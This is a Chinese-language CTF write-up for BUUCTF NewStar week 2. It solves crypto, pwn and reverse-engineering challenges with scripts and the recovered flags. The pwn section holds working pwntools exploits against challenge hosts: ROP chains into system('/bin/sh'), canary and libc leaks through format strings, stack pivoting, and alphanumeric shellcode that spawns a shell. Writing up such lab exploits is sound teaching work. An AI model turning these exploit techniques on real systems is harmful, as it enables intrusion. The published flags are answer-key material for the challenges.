• [BUUCTF newstar week2] crypto/pwn/reverse


    难度上来了,而且比赛加多了,newStar/0xGame/SHCTF,moe也结束了,周末还有TCP1P,来不及写东西了。抓时间先一个个来吧。

    crypto

    滴啤

    就是dp的意思,也就是泄露dp求分解

    1. from Crypto.Util.number import *
    2. import gmpy2
    3. from flag import flag
    4. def gen_prime(number):
    5. p = getPrime(number//2)
    6. q = getPrime(number//2)
    7. return p,q
    8. m = bytes_to_long(flag.encode())
    9. p,q = gen_prime(1024)
    10. print(p*q)
    11. e = 65537
    12. d = gmpy2.invert(e,(p-1)*(q-1))
    13. print(d%(p-1))
    14. print(pow(m,e,p*q))
    15. e = 65537
    16. n = 93172788492926438327710592564562854206438712390394636149385608321800134934361353794206624031396988124455847768883785503795521389178814791213054124361007887496351504099772757164211666778414800698976335767027868761735533195880182982358937211282541379697714874313863354097646233575265223978310932841461535936931
    17. dp = 307467153394842898333761625034462907680907310539113349710634557900919735848784017007186630645110812431448648273172817619775466967145608769260573615221635
    18. c = 52777705692327501332528487168340175436832109866218597778822262268417075157567880409483079452903528883040715097136293765188858187142103081639134055997552543213589467751037524482578093572244313928030341356359989531451789166815462417484822009937089058352982739611755717666799278271494933382716633553199739292089

     

    1. #x*(p-1) = e*dp - 1
    2. for x in range(1,e):
    3. p = (e*dp - 1)//x + 1
    4. if gcd(n,p) != 1:
    5. print(p)
    6. break
    7. q=n//p
    8. d = invert(e,(p-1)*(q-1))
    9. m = pow(c,d,n)
    10. long_to_bytes(m)
    11. #flag{cd5ff82d-989c-4fbf-9543-3f98ab567546}

    不止一个pi

    1. from flag import flag
    2. from Crypto.Util.number import *
    3. import gmpy2
    4. p = getPrime(1024)
    5. q = getPrime(1024)
    6. n = p**3*q**2
    7. print("q = ",q)
    8. print("p = ",p)
    9. m = bytes_to_long(flag.encode())
    10. c = pow(m,65537,n)
    11. print("c = ",c)
    12. q = 115478867870347527660680329271012852043845868401928361076102779938370270670897498759391844282137149013845956612257534640259997979275610235395706473965973203544920469416283181677660262509481282536465796731401967694683575843183509430017972506752901270887444490905891490955975762524187534052478173966117471143713
    13. p = 171790960371317244087615913047696670778115765201883835525456016207966048658582417842936925149582378305610304505530997833147251832289276125084339614808085356814202236463900384335878760177630501950384919794386619363394169016560485152083893183420911295712446925318391793822371390439655160077212739260871923935217
    14. c = 4459183928324369762397671605317600157512712503694330767938490496225669985050002776253470841193156951087663107866714426230222002399666306287642591077990897883174134404896800482234781531592939043551832049756571987010173667074168282355520711905659013076509353523088583347373358980842707686611157050425584598825151399870268083867269912139634929397957514376826145870752116583185351576051776627208882377413433140577461314504762388617595282085102271510792305560608934353515552201553674287954987323321512852114353266359364282603487098916608302944694600227628787791876600901537888110093703612414836676571562487005330299996908873589228072982641114844761980143047920770114535924959765518365614709272297666231481655857243004072049094078525569460293381479558148506346966064906164209362147313371962567040047084516510135054571080612077333228195608109065475260832580192321853906138811139036658485688320161530131239854003996457871663456850196483520239675981391047452381998620386899101820782421605287708727667663038905378115235163773867508258208867367314108701855709002634592329976912239956212490788262396106230191754680813790425433763427315230330459349320412354189010684525105318610102936715203529222491642807382215023468936755584632849348996666528981269240867612068382243822300418856599418223875522408986596925018975565057696218423036459144392625166761522424721268971676010427096379610266649911939139451989246194525553533699831110568146220347603627745407449761792135898110139743498767543521297525802809254842518002190381508964357001211353997061417710783337
    15. e = 65537

    这题有点意思,显然可以求出p^3q^2对应的phi来,但不正确,只能用p*q求解

    1. d = invert(e, (p-1)*(q-1))
    2. m = pow(c,d,p*q)
    3. long_to_bytes(m)
    4. #flag{bu_zhi_yige_p1dsaf}

    halfcandecode

    1. from Crypto.Util.number import *
    2. import gmpy2
    3. from flag import flag
    4. import os
    5. from hashlib import md5
    6. def gen_prime(number):
    7. p = getPrime(number // 2)
    8. q = gmpy2.next_prime(p)
    9. return p * q
    10. def md5_hash(m):
    11. return md5(m.encode()).hexdigest()
    12. e = 65537
    13. n = gen_prime(1024)
    14. m1 = bytes_to_long(flag[:len(flag) // 2].encode() + os.urandom(8))
    15. c1 = pow(m1, e, n)
    16. m2 = flag[len(flag) // 2:]
    17. with open("out.txt","w") as f:
    18. f.write(str(n) + '\n')
    19. f.write(str(c1) + '\n')
    20. for t in m2:
    21. f.write(str(md5_hash(t))+'\n')
    22. n = 113021375625152132650190712599981988437204747209058903684387817901743950240396649608148052382567758817980625681440722581705541952712770770893410244646286485083142929097056891857721084849003860977390188797648441292666187101736281034814846427200984062294497391471725496839508139522313741138689378936638290593969
    23. c1 = 43054766235531111372528859352567995977948625157340673795619075138183683929001986100833866227688081563803862977936680822407924897357491201356413493645515962458854570731176193055259779564051991277092941379392700065150286936607784073707448630150405898083000157174927733260198355690620639487049523345380364948649
    24. c2 = [
    25. '4a8a08f09d37b73795649038408b5f33',
    26. '03c7c0ace395d80182db07ae2c30f034',
    27. 'e1671797c52e15f763380b45e841ec32',
    28. 'b14a7b8059d9c055954c92674ce60032',
    29. 'e358efa489f58062f10dd7316b65649e',
    30. 'cfcd208495d565ef66e7dff9f98764da',
    31. 'b14a7b8059d9c055954c92674ce60032',
    32. '8fa14cdd754f91cc6554c9e71929cce7',
    33. '0cc175b9c0f1b6a831c399e269772661',
    34. '4a8a08f09d37b73795649038408b5f33',
    35. 'e358efa489f58062f10dd7316b65649e',
    36. 'cfcd208495d565ef66e7dff9f98764da',
    37. '4b43b0aee35624cd95b910189b3dc231',
    38. 'cbb184dd8e05c9709e5dcaedaa0495cf']

    题目分两步,第1步是pq非常接近时的分解,这个yafu就能直接干,第2步是单字符md5爆破,直接查表也行爆破也行,没有难度的

    1. p = 10631151190024160908870967192522097752991652918777416177941351782447314225123009693276679810786266997133099934443701772661928189884235742113123409596993841
    2. q = 10631151190024160908870967192522097752991652918777416177941351782447314225123009693276679810786266997133099934443701772661928189884235742113123409596993409
    3. m1 = long_to_bytes(pow(c1,invert(e, p-1) ,p))
    4. #flag{two_cloabcse_t0_fact0r}
    5. m2 = ''
    6. for i in range(len(c2)):
    7. for v in range(0x21,0x7f):
    8. if md5(chr(v).encode()).hexdigest() == c2[i]:
    9. m2 += chr(v)
    10. break

    Rotate Xor

    1. from secret import flag
    2. from os import urandom
    3. from pwn import xor
    4. from Cryptodome.Util.number import *
    5. k1 = getPrime(64)
    6. k2 = getPrime(64)
    7. ROUND = 12
    8. ciphertext = xor(flag, long_to_bytes(k1))
    9. def round_rotate_left(num, step):
    10. return ((num) << step | num >> (64-step)) & 0xffffffffffffffff
    11. def encrypt_key(key):
    12. for _ in range(ROUND):
    13. key = round_rotate_left(key, 3) ^ k2
    14. return key
    15. print('ciphertext =', ciphertext)
    16. print('enc_k1 =', encrypt_key(k1))
    17. print('k2 =', k2)
    18. ciphertext = b'\x8dSyy\xd2\xce\xe2\xd2\x98\x0fth\x9a\xc6\x8e\xbc\xde`zl\xc0\x85\xe0\xe4\xdfQlc'
    19. enc_k1 = 7318833940520128665
    20. k2 = 9982833494309156947

    循环移位都不用写程序用原来的就行,然后与k2异或得k1

    1. for _ in range(ROUND):
    2. enc_k1 = round_rotate_left(enc_k1^k2, 64-3)
    3. xor(ciphertext, long_to_bytes(enc_k1))
    4. #flag{z3_s0lv3r_15_bri11i4nt}

     

    partial decrypt

    1. from secret import flag
    2. from Crypto.Util.number import *
    3. m = bytes_to_long(flag)
    4. e = 65537
    5. p = getPrime(512)
    6. q = getPrime(512)
    7. n = p*q
    8. c = pow(m,e,n)
    9. dp = inverse(e, (p-1))
    10. dq = inverse(e, (q-1))
    11. m1 = pow(c,dp, p)
    12. m2 = pow(c,dq, q)
    13. q_inv = inverse(q, p)
    14. h = (q_inv*(m1-m2)) % p
    15. print('m2 =', m2)
    16. print('h =', h)
    17. print('q =', q)
    18. m2 = 4816725107096625408335954912986735584642230604517017890897348901815741632668751378729851753037917164989698483856004115922538576470127778342121497852554884
    19. h = 4180720137090447835816240697100630525624574275
    20. q = 7325294399829061614283539157853382831627804571792179477843187097003503398904074108324900986946175657737035770512213530293277111992799331251231223710406931

    paper题总是会有的。通过最后一个式子得到hq = m1-m2 然后得到m1

    1. m1 = h*q + m2
    2. long_to_bytes(m1)
    3. #b'flag{rsa_with_crt#b12a3a020c9cc5f1a6df4618256f7c88c83fdd95aab1a2b2656d760475bd0bf1}'

     

    broadcast

    1. from secret import flag
    2. from Cryptodome.Util.number import *
    3. menu = '''
    4. Welcome to RSA Broadcasting system
    5. please select your option:
    6. 1. brocast the flag
    7. 2. exit
    8. '''
    9. e = 17
    10. def broadcast_the_flag():
    11. p = getPrime(256)
    12. q = getPrime(256)
    13. n=p*q
    14. m = bytes_to_long(flag)
    15. c = pow(m,e,n)
    16. print('n =', n)
    17. print('c =', c)
    18. print('e =', e)
    19. while True:
    20. print(menu)
    21. opt = input('> ')
    22. try:
    23. opt = int(opt)
    24. if opt == 1:
    25. broadcast_the_flag()
    26. elif opt == 2:
    27. break
    28. else:
    29. print('invalid option')
    30. except:
    31. print('oh no, something wrong!')

    服务会每次生成n,c但e=17不变,典型的广播攻击

    1. from pwn import *
    2. p = remote('node4.buuoj.cn', 26083)
    3. context.log_level = 'debug'
    4. n = []
    5. c = []
    6. for i in range(17):
    7. p.sendlineafter(b'> ', b'1')
    8. n.append(int(p.recvline().strip().split(b' = ')[1]))
    9. c.append(int(p.recvline().strip().split(b' = ')[1]))
    10. p.recvline()
    11. p.sendlineafter(b'> ', b'2')
    12. print(n)
    13. print(c)
    14. #------------------------------
    15. c17 = crt(c,n)
    16. from gmpy2 import iroot
    17. #iroot(c17,17) (mpz(3670434958110157775238870741600986862160732522647671381021422644325240133745431303227929896983617235809405), True)
    18. bytes.fromhex(hex(iroot(c17,17)[0])[2:])
    19. #b'flag{d0_n0t_sh0ut_loud1y_1n_th3_d4rk_f0r3st}'

     

    PWN

    ret2libc

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. char buf[32]; // [rsp+10h] [rbp-20h] BYREF
    4. init(argc, argv, envp);
    5. puts("Welcome to NewStar CTF!!");
    6. puts("Show me your magic again");
    7. read(0, buf, 0x100uLL);
    8. puts("See you next time");
    9. return 0;
    10. }

    没开PIE,一个明显的溢出

    1. from pwn import *
    2. #p = process('./ret2libc')
    3. p = remote('node4.buuoj.cn', 29275)
    4. context(arch='amd64', log_level='debug')
    5. elf = ELF('./ret2libc')
    6. #libc = ELF('./libc.so.6')
    7. pop_rdi = 0x0000000000400763 # pop rdi ; ret
    8. pop_rsi = 0x0000000000400761 # pop rsi ; pop r15 ; ret
    9. bss = 0x601800
    10. p.sendafter(b"Show me your magic again\n", b'\x00'*0x20+ flat(bss, pop_rdi, elf.got['read'], elf.plt['puts'], elf.sym['main']))
    11. libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x110020
    12. print(f"libc_base = :x")
    13. bin_sh = libc_base + 0x1b3d88
    14. system = libc_base + 0x4f420
    15. p.sendafter(b"Show me your magic again\n", b'\x00'*0x20+ flat(bss, pop_rdi, bin_sh, pop_rsi, 0,0, system))
    16. p.interactive()

     

    canary

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. char buf[40]; // [rsp+0h] [rbp-30h] BYREF
    4. unsigned __int64 v5; // [rsp+28h] [rbp-8h]
    5. v5 = __readfsqword(0x28u);
    6. init(argc, argv, envp);
    7. puts("Welcome to NewStar CTF!!");
    8. puts("Give me some gift?");
    9. read(0, buf, 0x20uLL);
    10. puts("Oh thanks,There is my gift:");
    11. printf(buf);
    12. puts("Show me your magic");
    13. read(0, buf, 0x100uLL);
    14. return 0;
    15. }
    16. unsigned __int64 backdoor()
    17. {
    18. unsigned __int64 v1; // [rsp+8h] [rbp-8h]
    19. v1 = __readfsqword(0x28u);
    20. puts("Congratulations!!!");
    21. execve("/bin/sh", 0LL, 0LL);
    22. return v1 - __readfsqword(0x28u);
    23. }

    前边一个格式化字符串漏洞来得到canary然后溢出到后门

    1. from pwn import *
    2. #p = process('./canary')
    3. p = remote('node4.buuoj.cn', 28428)
    4. context(arch='amd64', log_level='debug')
    5. elf = ELF('./canary')
    6. #libc = ELF('./libc.so.6')
    7. pop_rdi = 0x0000000000400763 # pop rdi ; ret
    8. pop_rsi = 0x0000000000400761 # pop rsi ; pop r15 ; ret
    9. bss = 0x601800
    10. p.sendafter(b"Give me some gift?\n", b'%11$p\n%13$p\n')
    11. p.recvline()
    12. canary = int(p.recvline(), 16)
    13. libc_base = int(p.recvline(), 16) - 0x2dd90
    14. print(f"libc_base = :x")
    15. bin_sh = libc_base + 0x1dc698
    16. system = libc_base + 0x54d60
    17. p.sendafter(b"Show me your magic\n", b'\x00'*0x28 + flat(canary, 0, 0x401262))
    18. p.interactive()

     

    secret number

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. unsigned int v3; // eax
    4. int v5; // [rsp+8h] [rbp-38h] BYREF
    5. int v6; // [rsp+Ch] [rbp-34h] BYREF
    6. char buf[40]; // [rsp+10h] [rbp-30h] BYREF
    7. unsigned __int64 v8; // [rsp+38h] [rbp-8h]
    8. v8 = __readfsqword(0x28u);
    9. init(argc, argv, envp);
    10. v3 = time(0LL);
    11. srand(v3);
    12. secret = rand();
    13. puts("Welcome to NewStar CTF!!");
    14. while ( 1 )
    15. {
    16. puts("Give me some gift?(0/1)");
    17. __isoc99_scanf("%d", &v6);
    18. if ( v6 != 1 )
    19. break;
    20. puts("What's it");
    21. read(0, buf, 0x20uLL);
    22. puts("Oh thanks,There is my gift:");
    23. printf(buf);
    24. }
    25. puts("Guess the number");
    26. __isoc99_scanf("%d", &v5);
    27. if ( v5 == secret )
    28. system("/bin/sh");
    29. else
    30. puts("You are wrong!");
    31. return 0;
    32. }

    前边有个循环的格式化字符串漏洞可以得到secret的值,然后都改成0就行了

     

    1. from pwn import *
    2. #p = process('./secretnumber')
    3. p = remote('node4.buuoj.cn', 25576)
    4. context(arch='amd64', log_level='debug')
    5. p.sendlineafter(b"Give me some gift?(0/1)\n", b'1')
    6. p.sendafter(b"What's it\n", b'%17$p\n')
    7. p.recvline()
    8. elf_addr = int(p.recvline().strip(),16) - 0x12f5
    9. secret = elf_addr + 0x404c
    10. p.sendlineafter(b"Give me some gift?(0/1)\n", b'1')
    11. p.sendafter(b"What's it\n", b'%9$n'.ljust(8, b'\x00')+ p64(secret))
    12. p.sendlineafter(b"Give me some gift?(0/1)\n", b'0')
    13. p.sendlineafter(b"Guess the number\n", b'0')
    14. p.interactive()

    stack migration

    1. int sub_4011FB()
    2. {
    3. char buf[8]; // [rsp+8h] [rbp-58h] BYREF
    4. char v2[80]; // [rsp+10h] [rbp-50h] BYREF
    5. puts("I've never seen you before!");
    6. puts("your name:");
    7. read(0, buf, 8uLL);
    8. printf("Oh, you are %s~\n", buf);
    9. printf("I have a small gift for you: %p\n", buf);
    10. puts("more infomation plz:");
    11. read(0, v2, 0x60uLL);
    12. puts("OK, nice to see you~");
    13. return puts("maybe I'll see you soon!");
    14. }

    在%p输出时会把buf的所在栈地址输出,得到栈地址,然后溢出16字节,覆盖到rbp,和返回地址,向前移栈得到libc然后回来再getshell

    1. from pwn import *
    2. #p = process('./pwn')
    3. p = remote('node4.buuoj.cn', 26584)
    4. context(arch='amd64', log_level='debug')
    5. elf = ELF('./pwn')
    6. libc = ELF('./libc.so.6')
    7. #gdb.attach(p, 'b*0x40128c\nc')
    8. p.sendafter(b"your name:\n", p64(elf.got['puts']))
    9. p.recvuntil(b"I have a small gift for you: ")
    10. stack = int(p.recvuntil(b'more', drop=True), 16)
    11. print(f"{stack = :x}")
    12. bss = 0x404800
    13. leave_ret = 0x4012aa
    14. pop_rdi = 0x0000000000401333 # pop rdi ; ret
    15. pop_rsi = 0x0000000000401331 # pop rsi ; pop r15 ; ret
    16. p.sendafter(b"infomation plz:\n", flat(pop_rdi, elf.got['puts'], elf.plt['puts'], pop_rdi+1, 0x4011fb).ljust(0x50,b'\x00') + flat(stack, leave_ret))
    17. p.recvline()
    18. p.recvline()
    19. libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts']
    20. print(f"{libc.address = :x}")
    21. p.sendafter(b"your name:\n", p64(elf.got['puts']))
    22. p.recvuntil(b"I have a small gift for you: ")
    23. stack = int(p.recvuntil(b'more', drop=True), 16)
    24. print(f"{stack = :x}")
    25. p.sendafter(b"infomation plz:\n", flat(pop_rdi, next(libc.search(b'/bin/sh\x00')), pop_rsi,0,0, pop_rdi+1, libc.sym['system']).ljust(0x50,b'\x00') + flat(stack, leave_ret))
    26. p.interactive()

    shellcode revenge

    1. int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
    2. {
    3. char buf; // [rsp+3h] [rbp-11Dh] BYREF
    4. int i; // [rsp+4h] [rbp-11Ch]
    5. __int64 v5; // [rsp+8h] [rbp-118h]
    6. char src[264]; // [rsp+10h] [rbp-110h] BYREF
    7. unsigned __int64 v7; // [rsp+118h] [rbp-8h]
    8. v7 = __readfsqword(0x28u);
    9. init();
    10. v5 = (int)mmap((void *)0x66660000, 0x1000uLL, 7, 50, -1, 0LL);
    11. puts("Welcome to NewStar CTF!!");
    12. puts("Show me your magic");
    13. for ( i = 0; ; ++i )
    14. {
    15. if ( i > 255 )
    16. goto LABEL_9;
    17. read(0, &buf, 1uLL);
    18. if ( buf > 90 || buf <= 47 || buf > 57 && buf <= 64 )// 只有大写字母和数字
    19. break;
    20. src[i] = buf;
    21. }
    22. puts("Pls input the correct character");
    23. LABEL_9:
    24. strncpy((char *)0x66660000, src, 0x100uLL);
    25. JUMPOUT(0x66660000LL);

    可以输入一个只有大写字符和字数的shellcode然后执行。

    大写字符里有

    1:pop rax;pop rcx; 

    2:push 大部分寄存器都可以

    3:xor [rax],esi; xor esi,[rax]

    4:xor eax,X;xor al,X

    这里残留的rdi=0利用这个造一个read,呆需要利用xor将后边一个字符异或成syscall即可

    1. from pwn import *
    2. #p = process('./shellcodere')
    3. p = remote('node4.buuoj.cn',25389)
    4. context(arch='amd64',log_level = 'debug')
    5. '''
    6. 1,将buf+0x50处异或得到syscall
    7. buf+0x50 = \x0f\x05^\x41\x41
    8. 2,恢复rsi=buf+0x50,rax=0,(rdi=0,rdx!=0)进行读
    9. '''
    10. #gdb.attach(p, "b*0x401373\nc")
    11. #rsi=0
    12. shellcode = 'push rsi;push rax;push rsi;push rsp;pop rax; xor esi,[rax];pop rax;pop rax;' #[rax]= rsi,esi=0;
    13. #rsi=0x41414141
    14. shellcode+= 'xor eax,0x41414141;push rax;push rsp;pop rax; xor esi,[rax];' #rsi=0x41414141
    15. #[buf+0x50]^rsi => \x0f\x05 syscall
    16. shellcode+= 'push rdx; pop rax; xor al,0x50; xor [rax], esi; ' # rcx->buf+0x50 ^ AAAA
    17. #rsi=0
    18. shellcode+= 'push rax; push rsi; push rsp; pop rax; xor esi,[rax]; ' #esi = 0
    19. #rsi=buf+0x50
    20. shellcode+= 'pop rcx; push rsp; pop rax; xor esi,[rax];' #esi=buf+0x50
    21. #rax=0
    22. shellcode+= 'push rdi; pop rax;' #rax = 0
    23. pay = asm(shellcode).ljust(0x50, b'P') + p32(0x41414141^0x050f)
    24. p.sendafter(b"Show me your magic\n", pay.ljust(0x100, b'0'))
    25. p.send(b'\x90'*2 + asm(shellcraft.sh()))
    26. p.interactive()

    REV

    PZthon

    pydumpck是个好东西,可以直接把python的exe包解成py文件,免去了给pyc文件加头的麻烦,一个简单异或。

    1. enc = [
    2. 115,121,116,114,110,76,37,96,88,116,113,112,36,97,65,125,103,37,96,114,125,65,39,112,70,112,118,37,123,113,69,79,82,84,89,84,77,76,36,112,99,112,36,65,39,116,97,36,102,86,37,37,36,104]
    3. data = hello()
    4. for i in range(len(data)):
    5. data[i] = data[i] ^ 21
    6. if None(None) == data:
    7. print('WOW!!')
    8. else:
    9. print('I believe you can do it!')
    10. input('To be continue...')

    AndroGenshin

    一个base64+RC4,但base64码表少1位需要爆破

    1. public static String encode(byte[] data, String CUSTOM_TABLE) {
    2. StringBuilder result = new StringBuilder();
    3. int length = (3 - (data.length % 3)) % 3;
    4. for (int i = 0; i < data.length; i += 3) {
    5. int i2 = 0;
    6. int i3 = ((data[i] & 255) << 16) | ((i + 1 < data.length ? data[i + 1] & 255 : 0) << 8);
    7. if (i + 2 < data.length) {
    8. i2 = data[i + 2] & 255;
    9. }
    10. int value = i3 | i2;
    11. for (int j = 0; j < 4; j++) {
    12. if (j == 3 && i + 2 >= data.length) {
    13. result.append('=');
    14. } else if (j == 2 && i + 1 >= data.length) {
    15. result.append('=');
    16. } else {
    17. result.append(CUSTOM_TABLE.charAt((value >> ((3 - j) * 6)) & 63));
    18. }
    19. }
    20. }
    21. return result.toString();
    22. }
    23. public class it_is_not_RC4 {
    24. public static String rc4(String keyStr, int[] data) {
    25. byte[] key = keyStr.getBytes();
    26. int[] s = new int[256];
    27. int[] k = new int[256];
    28. int j = 0;
    29. for (int i = 0; i < 256; i++) {
    30. s[i] = i;
    31. k[i] = key[i % key.length];
    32. }
    33. for (int i2 = 0; i2 < 256; i2++) {
    34. j = (s[i2] + j + k[i2]) & 255;
    35. int temp = s[i2];
    36. s[i2] = s[j];
    37. s[j] = temp;
    38. }
    39. StringBuilder result = new StringBuilder();
    40. int j2 = 0;
    41. int i3 = 0;
    42. for (int i4 : data) {
    43. i3 = (i3 + 1) & 255;
    44. j2 = (s[i3] + j2) & 255;
    45. int temp2 = s[i3];
    46. s[i3] = s[j2];
    47. s[j2] = temp2;
    48. int rnd = s[(s[i3] + s[j2]) & 255];
    49. result.append((char) (i4 ^ rnd));
    50. }
    51. return result.toString();
    52. }
    53. }
    1. from base64 import *
    2. import string
    3. b64code = string.ascii_uppercase + string.ascii_lowercase + '0123456789+/='
    4. for ttt in range(256):
    5. base64_table = [
    6. 125, 239, 101, 151, 77, 163, 163, 110,
    7. 58, 230, 186, 206, 84, 84, 189, 193,
    8. 30, 63, 104, 178, 130, 211, 164, 94,
    9. 75, 16, 32, 33, 193, 160, 120, 47,
    10. 30, 127, 157, 66, 163, 181, 177, 47,
    11. 0, 236, 106, 107, 144, 231, ttt, 16,
    12. 36, 34, 91, 9, 188, 81, 5, 241,
    13. 235, 3, 54, 150, 40, 119, 202, 150]
    14. key = b"genshinimpact"
    15. s = [i for i in range(256)]
    16. k = [key[i%13] for i in range(256)]
    17. j = 0
    18. for i in range(256):
    19. j = (s[i]+j+k[i])&0xff
    20. s[i],s[j] = s[j],s[i]
    21. res = []
    22. j2,i3 = 0,0
    23. for i4 in base64_table:
    24. i3 = (i3+1)&0xff
    25. j2 = (s[i3]+j2)&0xff
    26. s[i3],s[j2] = s[j2],s[i3]
    27. res.append(i4^s[(s[i3]+s[j2])&0xff])
    28. cod = bytes(res)
    29. if not all([1 if v in b64code.encode() else 0 for v in cod]): continue
    30. #print(bytes(res))
    31. c = b"YnwgY2txbE8TRyQecyE1bE8DZWMkMiRgJW1="
    32. try:
    33. c2 = ''.join([b64code[cod.index(v)] for v in c])
    34. print(b64decode(c2))
    35. except:
    36. pass

     

    SMC

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. DWORD *v3; // eax
    4. v3 = (DWORD *)malloc(0x26u);
    5. VirtualProtect(&byte_403040, 0x26u, 0x40u, v3);
    6. puts("Please enter your flag:");
    7. sub_401025("%s", (char)&unk_4033D4);
    8. if ( NtCurrentPeb()->BeingDebugged )
    9. {
    10. MessageBoxA(0, "Debug Detected!", "Warning!", 0);
    11. Sleep(0x1388u);
    12. exit(0);
    13. }
    14. sub_401042(); // SMC
    15. if ( ((int (__cdecl *)(void *, void *))byte_403040)(&unk_4033D4, &unk_403020) )
    16. puts("Win!");
    17. else
    18. puts("Lose!");
    19. return system("pause");
    20. }

    这里调用了sub_401042() 这里把代码修改了。

    1. char sub_401042()
    2. {
    3. int i; // ecx
    4. char result; // al
    5. for ( i = 0; i < 38; ++i )
    6. {
    7. result = byte_403068[i & 3];
    8. byte_403040[i] ^= result;
    9. }
    10. return result;
    11. }

     把程序修改后得到反编译的加密代码

    1. char sub_403040()
    2. {
    3. int v0; // edx
    4. v0 = 0;
    5. while ( ((unsigned __int8)byte_4033D4[v0] ^ 0x11) + 5 == (unsigned __int8)byte_403020[v0] )
    6. {
    7. if ( ++v0 >= 32 )
    8. return 1;
    9. }
    10. return 0;
    11. }
    1. from pwn import xor
    2. a = open('SMC.exe', 'rb').read()
    3. b = a[0x2040: 0x2040+38]
    4. key = b'\x11\x22\x33\x44'
    5. c = xor(b,key)
    6. d = a[:0x2040]+c+a[0x2040+38:]
    7. #open('smc2.exe', 'wb').write(d)
    8. c = a[0x2020:0x2020+0x20]
    9. b = [(v-5)^0x11 for v in c]
    10. print(bytes(b))

     

    Petals

    1. __int64 __fastcall main(int a1, char **a2, char **a3)
    2. {
    3. unsigned int v4; // [rsp+Ch] [rbp-4h]
    4. puts("Here is a pack of flowers, to my best love --- you.");
    5. puts("But I must check your identity, please input the right passwd");
    6. __isoc99_scanf("%s", byte_4080);
    7. v4 = strlen(byte_4080);
    8. if ( strlen(byte_4080) != 25 )
    9. {
    10. puts("Please check your input's format!");
    11. exit(-1);
    12. }
    13. sub_1209((__int64)byte_4080, v4);
    14. sub_160C(byte_4080, &unk_4020, v4);
    15. printf("If you are succeed, the flag is flag{md5(your input)}");
    16. return 0LL;
    17. }
    18. unsigned __int64 __fastcall sub_1209(__int64 a1, unsigned int a2)
    19. {
    20. int i; // [rsp+18h] [rbp-118h]
    21. signed int j; // [rsp+1Ch] [rbp-114h]
    22. __int64 v5[33]; // [rsp+20h] [rbp-110h] BYREF
    23. unsigned __int64 v6; // [rsp+128h] [rbp-8h]
    24. v6 = __readfsqword(0x28u);
    25. memset(v5, 0, 256);
    26. for ( i = 0; i <= 255; ++i )
    27. *((_BYTE *)v5 + i) = ~(i ^ a2);
    28. for ( j = 0; a2 > j; ++j )
    29. *(_BYTE *)(j + a1) = *((_BYTE *)v5 + *(unsigned __int8 *)(j + a1));
    30. return v6 - __readfsqword(0x28u);
    31. }

    没有SMC就简单多了

    1. v5 = [(~(i^25))&0xff for i in range(256)]
    2. enc = bytes.fromhex('D0D085858080C58A9389928F87889F8FC584D6D1D282D3DE87')
    3. flag = [v5.index(v) for v in enc]
    4. a = bytes(flag)
    5. #66ccff#luotianyi#b074d58a
    6. from hashlib import md5
    7. print(md5(a).hexdigest())
    8. #d780c9b2d2aa9d40010a753bc15770de
    9. #flag{d780c9b2d2aa9d40010a753bc15770de}

     

    easy_enc

    C++写的太难弄了,找不到程序在哪,从字符串表打到这个,然后向前跟踪。

    前边还有4段加密,虽然看上去不难,但解不出来,最后只能爆破,由于它是一个个字符处理的,比如说输入4个字符,这4个正确就会输出right。所以可以直接爆破

    1. from subprocess import *
    2. import string
    3. def getv(s):
    4. print(s)
    5. p = Popen("easy_enc.exe", shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT)
    6. p.stdin.write(s.encode()+b'\n')
    7. p.stdin.flush()
    8. buff = p.stdout.readline()
    9. return buff
    10. flag = ''
    11. for i in range(29):
    12. for v in string.ascii_letters:
    13. res = getv(flag+v)
    14. if b'Right!!' in res:
    15. flag += v
    16. print(flag)
    17. break
    18. #BruteForceIsAGoodwaytoGetFlag
    19. #flag{BruteForceIsAGoodwaytoGetFlag}

     

    R4ndom

    一个置了种子的随机数加密

    1. unsigned __int64 b(void)
    2. {
    3. unsigned __int64 v1; // [rsp+18h] [rbp-8h]
    4. v1 = __readfsqword(0x28u);
    5. srand(0x5377654Eu);
    6. return __readfsqword(0x28u) ^ v1;
    7. }
    1. s2[0] = 0x3513AB8AB2D7E6EELL;
    2. s2[1] = 0x2EEDBA9CB9C97B02LL;
    3. s2[2] = 0x16E4F8C8EEFA4FBDLL;
    4. s2[3] = 0x383014F4983B6382LL;
    5. s2[4] = 0xEA32360C3D843607LL;
    6. s2[5] = 42581LL;
    7. v8 = 0;
    8. puts("Can You Find the Secret?");
    9. puts("Give me your flag");
    10. *(_QWORD *)s = 0LL;
    11. v10 = 0LL;
    12. v11 = 0LL;
    13. v12 = 0LL;
    14. v13 = 0LL;
    15. v14 = 0LL;
    16. v15 = 0;
    17. __isoc99_scanf("%s", s);
    18. if ( strlen(s) != 42 )
    19. exit(0);
    20. for ( i = 0; i < strlen(s); ++i )
    21. {
    22. v3 = s[i];
    23. v4 = rand();
    24. s[i] = Table[(16 * ((unsigned __int8)(v3 + v4 % 255) >> 4) + 15) & (unsigned __int8)(v3 + v4 % 255)];
    25. }
    26. if ( !memcmp(s, s2, 0x2AuLL) )
    27. puts("You get the Right Flag!!");
    28. else
    29. puts("Maybe your flag is Wrong o.O?");
    30. return 0;
    31. }

     

    1. from pwn import xor,p64
    2. from ctypes import *
    3. clibc = cdll.LoadLibrary("./libc.so.6")
    4. #windows msvcrt.dll
    5. clibc.srand(0x5377654E)
    6. v4a = [clibc.rand()%255 for i in range(42)]
    7. msg = open('Random_1', 'rb').read()
    8. s2 = [0]*6
    9. s2[0] = 0x3513AB8AB2D7E6EE
    10. s2[1] = 0x2EEDBA9CB9C97B02
    11. s2[2] = 0x16E4F8C8EEFA4FBD
    12. s2[3] = 0x383014F4983B6382
    13. s2[4] = 0xEA32360C3D843607
    14. s2[5] = 42581
    15. enc = b''.join([p64(i) for i in s2])
    16. print(enc)
    17. table = msg[0x3020: 0x3120]
    18. print(table[:20])
    19. #s = [table[((((i+v4)>>4)&0xf)*16 + 15)& ((i+v4)&0xff)] for i in flag]
    20. s = [table.index(v) for v in enc]
    21. flag = ''
    22. for i in range(42):
    23. v4 = v4a[i]
    24. for v in range(0x20,0x7f):
    25. if ((((v+v4)>>4)&0xf)*16 + 15) & ((v+v4)&0xff) == s[i]:
    26. flag += chr(v)
    27. break
